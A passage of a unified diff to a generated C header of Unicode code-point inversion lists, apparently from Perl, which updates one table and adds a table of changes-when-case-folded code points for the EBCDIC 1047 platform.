@@ -58883,6 +197282,8 @@
 	0xA76D,
 	0xA76E,
 	0xA76F,
+	0xA770,
+	0xA771,
 	0xA779,
 	0xA77A,
 	0xA77B,
@@ -58897,11 +197298,11 @@
 	0xA785,
 	0xA786,
 	0xA787,
-	0xA788,
+	0xA78B,
 	0xA78C,
 	0xA78D,
 	0xA78E,
-	0xA78F,
+	0xA790,
 	0xA791,
 	0xA792,
 	0xA793,
@@ -58926,41 +197327,124 @@
 	0xA7A8,
 	0xA7A9,
 	0xA7AA,
+	0xA7AF,
+	0xA7B0,
 	0xA7B5,
 	0xA7B6,
 	0xA7B7,
-	0xA7B8,
 	0xA7F8,
-	0xA7FB,
-	0xAB30,
-	0xAB5B,
+	0xA7FA,
 	0xAB5C,
-	0xAB66,
+	0xAB60,
 	0xAB70,
 	0xABC0,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
 	0xFB00,
 	0xFB07,
 	0xFB13,
 	0xFB18,
-	0xFF41,
-	0xFF5B,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE00,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF0,
+	0xFFF9,
+	0x10400,
 	0x10428,
-	0x10450,
-	0x104D8,
-	0x104FC,
-	0x10CC0,
-	0x10CF3,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
 	0x118C0,
-	0x118E0,
-	0x1D41A,
-	0x1D434,
-	0x1D44E,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D15E,
+	0x1D165,
+	0x1D173,
+	0x1D17B,
+	0x1D1BB,
+	0x1D1C1,
+	0x1D400,
 	0x1D455,
 	0x1D456,
-	0x1D468,
-	0x1D482,
-	0x1D49C,
-	0x1D4B6,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
 	0x1D4BA,
 	0x1D4BB,
 	0x1D4BC,
@@ -58967,62 +197451,461 @@
 	0x1D4BD,
 	0x1D4C4,
 	0x1D4C5,
-	0x1D4D0,
-	0x1D4EA,
-	0x1D504,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
 	0x1D51E,
-	0x1D538,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
 	0x1D552,
-	0x1D56C,
-	0x1D586,
-	0x1D5A0,
-	0x1D5BA,
-	0x1D5D4,
-	0x1D5EE,
-	0x1D608,
-	0x1D622,
-	0x1D63C,
-	0x1D656,
-	0x1D670,
-	0x1D68A,
 	0x1D6A6,
-	0x1D6C2,
-	0x1D6DB,
-	0x1D6DC,
-	0x1D6E2,
-	0x1D6FC,
-	0x1D715,
-	0x1D716,
-	0x1D71C,
-	0x1D736,
-	0x1D74F,
-	0x1D750,
-	0x1D756,
-	0x1D770,
-	0x1D789,
-	0x1D78A,
-	0x1D790,
-	0x1D7AA,
-	0x1D7C3,
-	0x1D7C4,
-	0x1D7CA,
-	0x1D7CB,
+	0x1D6A8,
 	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1E900,
 	0x1E922,
-	0x1E944
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x2F800,
+	0x2FA1E,
+	0xE0000,
+	0xE1000
 };
 
-static const UV XPosixPrint_invlist[] = { /* for EBCDIC 1047 */
-	1281,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CWKCF_invlist[] = { /* for EBCDIC 1047 */
+	1641,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x40,
+	0x41,
+	0x42,
+	0x59,
+	0x5A,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xB7,
+	0xBD,
+	0xBE,
+	0xBF,
+	0xC1,
+	0xCB,
+	0xD1,
+	0xDB,
+	0xE2,
+	0xF0,
+	0xFA,
 	0xFF,
 	0x100,
-	0x378,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x340,
+	0x342,
+	0x343,
+	0x346,
+	0x34F,
+	0x350,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x375,
+	0x376,
+	0x377,
 	0x37A,
+	0x37B,
+	0x37E,
 	0x380,
 	0x384,
 	0x38B,
@@ -59029,483 +197912,599 @@
 	0x38C,
 	0x38D,
 	0x38E,
+	0x390,
+	0x391,
 	0x3A2,
 	0x3A3,
-	0x530,
+	0x3AC,
+	0x3C2,
+	0x3C3,
+	0x3CF,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
 	0x531,
 	0x557,
-	0x559,
-	0x560,
-	0x561,
+	0x587,
 	0x588,
-	0x589,
-	0x58B,
-	0x58D,
-	0x590,
-	0x591,
-	0x5C8,
-	0x5D0,
-	0x5EB,
-	0x5F0,
-	0x5F5,
-	0x600,
+	0x61C,
 	0x61D,
-	0x61E,
-	0x70E,
-	0x70F,
-	0x74B,
-	0x74D,
-	0x7B2,
-	0x7C0,
-	0x7FB,
-	0x800,
-	0x82E,
-	0x830,
-	0x83F,
-	0x840,
-	0x85C,
-	0x85E,
-	0x85F,
-	0x8A0,
-	0x8B5,
-	0x8B6,
-	0x8BE,
-	0x8D4,
-	0x984,
-	0x985,
-	0x98D,
-	0x98F,
-	0x991,
-	0x993,
-	0x9A9,
-	0x9AA,
-	0x9B1,
-	0x9B2,
-	0x9B3,
-	0x9B6,
-	0x9BA,
-	0x9BC,
-	0x9C5,
-	0x9C7,
-	0x9C9,
-	0x9CB,
-	0x9CF,
-	0x9D7,
-	0x9D8,
+	0x675,
+	0x679,
+	0x958,
+	0x960,
 	0x9DC,
 	0x9DE,
 	0x9DF,
-	0x9E4,
-	0x9E6,
-	0x9FC,
-	0xA01,
-	0xA04,
-	0xA05,
-	0xA0B,
-	0xA0F,
-	0xA11,
-	0xA13,
-	0xA29,
-	0xA2A,
-	0xA31,
-	0xA32,
+	0x9E0,
+	0xA33,
 	0xA34,
-	0xA35,
+	0xA36,
 	0xA37,
-	0xA38,
-	0xA3A,
-	0xA3C,
-	0xA3D,
-	0xA3E,
-	0xA43,
-	0xA47,
-	0xA49,
-	0xA4B,
-	0xA4E,
-	0xA51,
-	0xA52,
 	0xA59,
-	0xA5D,
+	0xA5C,
 	0xA5E,
 	0xA5F,
-	0xA66,
-	0xA76,
-	0xA81,
-	0xA84,
-	0xA85,
-	0xA8E,
-	0xA8F,
-	0xA92,
-	0xA93,
-	0xAA9,
-	0xAAA,
-	0xAB1,
-	0xAB2,
-	0xAB4,
-	0xAB5,
-	0xABA,
-	0xABC,
-	0xAC6,
-	0xAC7,
-	0xACA,
-	0xACB,
-	0xACE,
-	0xAD0,
-	0xAD1,
-	0xAE0,
-	0xAE4,
-	0xAE6,
-	0xAF2,
-	0xAF9,
-	0xAFA,
-	0xB01,
-	0xB04,
-	0xB05,
-	0xB0D,
-	0xB0F,
-	0xB11,
-	0xB13,
-	0xB29,
-	0xB2A,
-	0xB31,
-	0xB32,
-	0xB34,
-	0xB35,
-	0xB3A,
-	0xB3C,
-	0xB45,
-	0xB47,
-	0xB49,
-	0xB4B,
-	0xB4E,
-	0xB56,
-	0xB58,
 	0xB5C,
 	0xB5E,
-	0xB5F,
-	0xB64,
-	0xB66,
-	0xB78,
-	0xB82,
-	0xB84,
-	0xB85,
-	0xB8B,
-	0xB8E,
-	0xB91,
-	0xB92,
-	0xB96,
-	0xB99,
-	0xB9B,
-	0xB9C,
-	0xB9D,
-	0xB9E,
-	0xBA0,
-	0xBA3,
-	0xBA5,
-	0xBA8,
-	0xBAB,
-	0xBAE,
-	0xBBA,
-	0xBBE,
-	0xBC3,
-	0xBC6,
-	0xBC9,
-	0xBCA,
-	0xBCE,
-	0xBD0,
-	0xBD1,
-	0xBD7,
-	0xBD8,
-	0xBE6,
-	0xBFB,
-	0xC00,
-	0xC04,
-	0xC05,
-	0xC0D,
-	0xC0E,
-	0xC11,
-	0xC12,
-	0xC29,
-	0xC2A,
-	0xC3A,
-	0xC3D,
-	0xC45,
-	0xC46,
-	0xC49,
-	0xC4A,
-	0xC4E,
-	0xC55,
-	0xC57,
-	0xC58,
-	0xC5B,
-	0xC60,
-	0xC64,
-	0xC66,
-	0xC70,
-	0xC78,
-	0xC84,
-	0xC85,
-	0xC8D,
-	0xC8E,
-	0xC91,
-	0xC92,
-	0xCA9,
-	0xCAA,
-	0xCB4,
-	0xCB5,
-	0xCBA,
-	0xCBC,
-	0xCC5,
-	0xCC6,
-	0xCC9,
-	0xCCA,
-	0xCCE,
-	0xCD5,
-	0xCD7,
-	0xCDE,
-	0xCDF,
-	0xCE0,
-	0xCE4,
-	0xCE6,
-	0xCF0,
-	0xCF1,
-	0xCF3,
-	0xD01,
-	0xD04,
-	0xD05,
-	0xD0D,
-	0xD0E,
-	0xD11,
-	0xD12,
-	0xD3B,
-	0xD3D,
-	0xD45,
-	0xD46,
-	0xD49,
-	0xD4A,
-	0xD50,
-	0xD54,
-	0xD64,
-	0xD66,
-	0xD80,
-	0xD82,
-	0xD84,
-	0xD85,
-	0xD97,
-	0xD9A,
-	0xDB2,
-	0xDB3,
-	0xDBC,
-	0xDBD,
-	0xDBE,
-	0xDC0,
-	0xDC7,
-	0xDCA,
-	0xDCB,
-	0xDCF,
-	0xDD5,
-	0xDD6,
-	0xDD7,
-	0xDD8,
-	0xDE0,
-	0xDE6,
-	0xDF0,
-	0xDF2,
-	0xDF5,
-	0xE01,
-	0xE3B,
-	0xE3F,
-	0xE5C,
-	0xE81,
-	0xE83,
-	0xE84,
-	0xE85,
-	0xE87,
-	0xE89,
-	0xE8A,
-	0xE8B,
-	0xE8D,
-	0xE8E,
-	0xE94,
-	0xE98,
-	0xE99,
-	0xEA0,
-	0xEA1,
-	0xEA4,
-	0xEA5,
-	0xEA6,
-	0xEA7,
-	0xEA8,
-	0xEAA,
-	0xEAC,
-	0xEAD,
-	0xEBA,
-	0xEBB,
-	0xEBE,
-	0xEC0,
-	0xEC5,
-	0xEC6,
-	0xEC7,
-	0xEC8,
-	0xECE,
-	0xED0,
-	0xEDA,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
 	0xEDC,
-	0xEE0,
-	0xF00,
-	0xF48,
-	0xF49,
-	0xF6D,
-	0xF71,
-	0xF98,
-	0xF99,
-	0xFBD,
-	0xFBE,
-	0xFCD,
-	0xFCE,
-	0xFDB,
-	0x1000,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x10A0,
 	0x10C6,
 	0x10C7,
 	0x10C8,
 	0x10CD,
 	0x10CE,
-	0x10D0,
-	0x1249,
-	0x124A,
-	0x124E,
-	0x1250,
-	0x1257,
-	0x1258,
-	0x1259,
-	0x125A,
-	0x125E,
-	0x1260,
-	0x1289,
-	0x128A,
-	0x128E,
-	0x1290,
-	0x12B1,
-	0x12B2,
-	0x12B6,
-	0x12B8,
-	0x12BF,
-	0x12C0,
-	0x12C1,
-	0x12C2,
-	0x12C6,
-	0x12C8,
-	0x12D7,
-	0x12D8,
-	0x1311,
-	0x1312,
-	0x1316,
-	0x1318,
-	0x135B,
-	0x135D,
-	0x137D,
-	0x1380,
-	0x139A,
-	0x13A0,
-	0x13F6,
+	0x10FC,
+	0x10FD,
+	0x115F,
+	0x1161,
 	0x13F8,
 	0x13FE,
-	0x1400,
-	0x169D,
-	0x16A0,
-	0x16F9,
-	0x1700,
-	0x170D,
-	0x170E,
-	0x1715,
-	0x1720,
-	0x1737,
-	0x1740,
-	0x1754,
-	0x1760,
-	0x176D,
-	0x176E,
-	0x1771,
-	0x1772,
-	0x1774,
-	0x1780,
-	0x17DE,
-	0x17E0,
-	0x17EA,
-	0x17F0,
-	0x17FA,
-	0x1800,
+	0x17B4,
+	0x17B6,
+	0x180B,
 	0x180F,
-	0x1810,
-	0x181A,
-	0x1820,
-	0x1878,
-	0x1880,
-	0x18AB,
-	0x18B0,
-	0x18F6,
-	0x1900,
-	0x191F,
-	0x1920,
-	0x192C,
-	0x1930,
-	0x193C,
-	0x1940,
-	0x1941,
-	0x1944,
-	0x196E,
-	0x1970,
-	0x1975,
-	0x1980,
-	0x19AC,
-	0x19B0,
-	0x19CA,
-	0x19D0,
-	0x19DB,
-	0x19DE,
-	0x1A1C,
-	0x1A1E,
-	0x1A5F,
-	0x1A60,
-	0x1A7D,
-	0x1A7F,
-	0x1A8A,
-	0x1A90,
-	0x1A9A,
-	0x1AA0,
-	0x1AAE,
-	0x1AB0,
-	0x1ABF,
-	0x1B00,
-	0x1B4C,
-	0x1B50,
-	0x1B7D,
-	0x1B80,
-	0x1BF4,
-	0x1BFC,
-	0x1C38,
-	0x1C3B,
-	0x1C4A,
-	0x1C4D,
+	0x1C80,
 	0x1C89,
-	0x1CC0,
-	0x1CC8,
-	0x1CD0,
-	0x1CF7,
-	0x1CF8,
-	0x1CFA,
-	0x1D00,
-	0x1DF6,
-	0x1DFB,
-	0x1F16,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9A,
+	0x1E9C,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
